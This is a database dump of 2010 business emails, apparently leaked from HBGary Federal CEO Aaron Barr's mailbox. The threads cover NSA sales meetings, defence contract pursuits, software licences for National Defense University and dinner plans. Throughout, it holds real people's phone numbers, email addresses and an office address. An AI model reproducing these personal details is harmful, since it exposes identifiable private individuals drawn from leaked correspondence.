tomorrow.  Up at BWI til 4 then\r\nstaying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back\r\nup to BWI for mtg with NSA at 10.  Heading home first thing Friday morning.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson \r\n\r\nNorthrop Grumman/Xetron \r\n\r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\n\r\nCell: 513-706-4848 \r\n\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 20,\r\n2010 9:53 PM\r\nTo: Masterson, Brian\r\n(Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHey no worries.  I understand.  Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive for the last few days.  Had\r\ntravel last week and just can’t get caught up.  Will call you\r\ntomorrow to get caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4711,'aaron_hbgary_com/4711.html'),(5784,'2010-04-29','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004230.M80332P14101Q637.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','RE: Opportunity','Interesting.  I\'m not sure if this is being written for someone in\r\nparticular.  The \"Full packet capture analysis will be performed using\r\nthis system with a sixty day data retention requirement\" is really\r\ngeared for a forensics capture versus real-time analysis solution like\r\nFidelis though.  \r\n\r\nWe\'ve been looking for a better entry at State, and when I mentioned to\r\nAdam Meyers last week that we had customers taking output from forensics\r\nsolutions and creating rules in our product, he said he was interested\r\nin hearing more.\r\n\r\nMary leads State for us, so I\'ll leave the call to her.  My guess says\r\nwe are definitely interested in taking our joint messaging to State, the\r\nquestion is if this is the right way.\r\n\r\nDavid\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 11:11 PM\r\nTo: Etue, David; Bob Slapnik\r\nSubject: Opportunity\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=8a83d867727e20017fa\r\n94feccd9c32f9&tab=core&_cview=0\r\n\r\nWhat do you guys think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12815,'aaron_hbgary_com/12815.html'),(5785,'2010-04-29','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004231.M143367P14101Q640.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you free on the 6th?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28, 2010 10:56 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhen would you like to get together next? &nbsp;I think you\r\nsaid something about next week?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See you tomorrow. \r\n_____________________ \r\nSent from my Blackberry. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Lachow, Irving \r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;;\r\nnathan.atherley@gmail.com &lt;nathan.atherley@gmail.com&gt; \r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner \r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you still planning on attending the Palantir conference\r\ntomorrow? &nbsp;HBGary will have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny.&nbsp; I appreciate the introduction and really\r\nappreciate the DDNA license.&nbsp; Before y&#8217;all send that along, let me\r\nconnect Jim with our lab people and so they can work this out directly.&nbsp;\r\nThey need to work the legal process carefully&nbsp; and also assess where this\r\nwould fit into the lab&#8217;s current configuration.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next\r\nweek is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 2:11 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nCc:&nbsp;\'Jim Richards\'; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt was great to finally meet you too.&nbsp;&nbsp; I&#8217;ll let\r\nyou know when I&#8217;m out in DC.&nbsp;&nbsp; I&#8217;ll forward info to\r\nGreg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary\r\nFederal and Jim Richards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp;\r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.&nbsp; I know we&#8217;ve tried to get with Ray when\r\nhe&#8217;s out in DC, but feel free to contact Irving directly.&nbsp; He can be\r\nreached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.&nbsp; Irving is at National\r\nDefense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor\r\nlicense.&nbsp; Responder Field Edition has a malware analysis module and\r\nforensic module.&nbsp; How many copies do you need for workstations?&nbsp;\r\nWe&#8217;ll also send you our training and some flip books that allow students\r\nto have a take away.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n300 5th&nbsp;Avenue\r\nBldg 62\r\n\r\n\r\n\r\n\r\n\r\nMarshall Hall Room 183H\r\n\r\n\r\n\r\n\r\n\r\nFort Lesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\nWashington, DC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 8:25 AM\r\nTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi there.&nbsp; Just wanted to thank you all for a very\r\nenjoyable dinner.&nbsp; It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny, let me know if you want POCs at Triumfant.&nbsp; Greg\r\nseemed interested in learning more about them.&nbsp; Speaking of Greg, please\r\nforward this to him.&nbsp; When you have a moment, can you connect me with your\r\nFederal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th&nbsp;not 5th.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 12:56 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK, sounds good\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 7:01 AM\r\nTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don\'t have\r\nto leave for a SFO until 8 or so.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;\r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.&nbsp; I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets\r\ngo back to the 6PM dinner time.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s restaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5638,'aaron_hbgary_com/5638.html'),(5786,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004231.M473181P14101Q641.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Tomorrow','No worries. &nbsp;Have fun, or since its almost over, hope you had fun. &nbsp;Jim is going to a company called SeaCure Associates LLC, cute. &nbsp;I am having lunch with Tom tomorrow and will see if I can get some more details. &nbsp;NCC, is Kathy leading that up or is it CSD? &nbsp;Hopefully u guys will be includedAre u still pursuing Threat Intelligence? &nbsp;How much have we talked about HBGary\'s Threat Management Center? &nbsp;Its all about Malware automation. &nbsp;Its based on our Feed Processor but it has some added components now to sell to customers. &nbsp;The amount of processing is linear to the systems but the base system can process $20K Malware a day. &nbsp;This is the thing NSA is really interested in. &nbsp;They have CWSandbox which can process lots of software but nothing like DDNA that can prioritize based on threat score. &nbsp;We are also providing a user console to let people search through the REcon data for specific data and allow them to build reports on the data. &nbsp;Currently this is just all in house within HBGary tools, but the link to Palantir and open source is right there. &nbsp;I mentioned that to the NSA guys and they agreed. &nbsp;Palantir has a strong relationship up at the fort. &nbsp;We are briefing five combined groups at NSA tomorrow. &nbsp;I sent Ted an email a few weeks back and we are supposed to get together after he gets back from some travel. &nbsp;I am trying to help HBGary get there new tools in front of them, including the TMC. &nbsp;I figured those customers we sell a TMC to will be prime customers to build a greater Threat intelligence capability for as well once something like that is built.Chasing other stuff. &nbsp;Looks like I am going to get on the NANA contract that SAIC won, so that should end up in a few bodies assuming I can find them. &nbsp;I understand NG is on the SAIC team for the VISE re-compete (NTOC), not sure if you knew that. &nbsp;I am still trying to decide where to go on that one. &nbsp;Its got a long lead time though.Waiting for Cybergenome. &nbsp;Other stuff. &nbsp;Right now our pipeline has 17 opportunities we are chasing, to varying degrees. &nbsp;Our exploit development work is picking up, that is really been a lifesaver as it is helping to stabalize us until we get in some other contracts.AaronOn Apr 29, 2010, at 6:38 AM, Masterson, Brian (Xetron) wrote:Sorry Aaron.&nbsp; Just been overloaded with everything and the baby.&nbsp; On vacation this week in Hilton Head.&nbsp;&nbsp; Met with Jim last week in Millersville where he told us to get in on NCC-3.&nbsp; He retired last Friday but I am not sure what his plan is.&nbsp; I asked but he was coy.&nbsp; It sounds as if he is retiring for 3 months then joining another company.&nbsp; He said a few times that we would be seeing him so I assume that is as a consultant but he would not fess up to anything.&nbsp;Trying to get some whitepapers put together for First IO and JTF-GNO on IG.&nbsp; Ted Wagner has signed up to get me a requirements doc on malware automation for First IO but have not gotten it yet but he says he is working it.&nbsp; Hopefully, that will be the entry point for First IO.&nbsp; Proctor, deputy to future head of ARCyber (Custer) was supposed to be in on Wednesday next week but it just got cancelled.&nbsp; Going down to San Antonio in May just trying to get a date set.&nbsp; Still trying to get 10 Fleet followup mtg set up.How about you?&nbsp;I am really sorry.&nbsp; Will call you next Monday.&nbsp;&nbsp;BrianBrian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, April 28, 2010 11:04 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Tomorrow&nbsp;Jim Barnett no longer with Northrop? &nbsp;I didn\'t think he was going to retire this early.&nbsp;Alright Mr. Busy man. &nbsp;When is the next time your in town. &nbsp;Give me a call.&nbsp;I am starting to not feel very loved.&nbsp;Hope all is well.&nbsp;Aaron&nbsp;&nbsp;On Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron) wrote:Oh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then staying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back up to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday morning.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 20, 2010 9:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Tomorrow&nbsp;Hey no worries. &nbsp;I understand. &nbsp;Just wanted to make sure everything was ok.&nbsp;Talk to you tomorrow.&nbsp;We have been getting some really good traction at NSA the last few days, more meetings there next week.&nbsp;Aaron&nbsp;&nbsp;On Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:Aaron,I am very sorry that I have not been very responsive&nbsp;for the last few days.&nbsp; Had travel last week and just can’t get caught up.&nbsp; Will call you tomorrow to get caught up.Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3003,'aaron_hbgary_com/3003.html'),(5787,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004231.M871081P14101Q642.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','Pretty open, just working on some presentation material.\r\n\r\nAaron\r\n\r\nOn Apr 28, 2010, at 11:28 PM, Ira Entis wrote:\r\n\r\n> how does your day look tomorrow to speak?\r\n> \r\n> \r\n> On Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n> \r\n> Ira,\r\n> \r\n> Do you have a few minutes.  I am wondering what your thoughts are on the call.  Next steps from your perspective.  I believe we have a few items we told the customer we would deliver to them.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n> \r\n>> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n>> Where: (888) 311-8177; code 7038893900\r\n>> \r\n>> *~*~*~*~*~*~*~*~*~*\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8668,'aaron_hbgary_com/8668.html'),(5788,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004232.M167175P14101Q643.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Thursday dinner','Yes.On Apr 29, 2010, at 7:40 AM, Lachow, Irving wrote:Are you free on the 6th?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, April 28, 2010 10:56 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Thursday dinner&nbsp;When would you like to get together next? &nbsp;I think you said something about next week?&nbsp;Aaron&nbsp;On Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:Yup. See you tomorrow.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Lachow, Irving&nbsp;Cc: Ray Owen &lt;ray.owen@comcast.net&gt;;&nbsp;nathan.atherley@gmail.com&nbsp;&lt;nathan.atherley@gmail.com&gt;&nbsp;Sent: Tue Apr 06 13:45:34 2010Subject: Re: Thursday dinnerIrving,&nbsp;Are you still planning on attending the Palantir conference tomorrow? &nbsp;HBGary will have a booth, so please stop by.&nbsp;Aaron&nbsp;On Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12785,'aaron_hbgary_com/12785.html'),(5789,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004232.M464214P14101Q644.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Introductions - HBGary','I have the 10th blocked right now. &nbsp;The two listed hotels are good hotels, good restaurants also and very near the airport.1110 Old Elkridge Landing RoadBaltimore, MD 21090(443) 577-2300starwoodhotels.com?7491 A New Ridge RoadHanover, MD 21076(410) 878-7200hilton.com?AaronOn Apr 27, 2010, at 4:58 PM, Penny Leavy-Hoglund wrote:HI Paul&nbsp;Thanks.&nbsp; We can either come to your facility OR if there is a hotel around there, you can suggest one.&nbsp; I’ll be coming out from California and am not really familiar with the BWI airport.&nbsp; Aaron, do you know a good place?&nbsp; Also what time is good for you?&nbsp;From:&nbsp;Bartock, Paul F. [mailto:p.bartoc@radium.ncsc.mil]&nbsp;Sent:&nbsp;Sunday, April 25, 2010 7:52 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;RE: Introductions - HBGary&nbsp;Penny,&nbsp;May 10th&nbsp;works for us, where would you like to meet. If possible like to arrange to meet around the BWI airport location.&nbsp;Paul Bartockemail:&nbsp;pfbart2@nsa.govphone (410) 854-9860From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 15, 2010 2:10 AMTo:&nbsp;Bartock, Paul F.Subject:&nbsp;RE: Introductions - HBGary&nbsp;Paul,&nbsp;Thanks for your 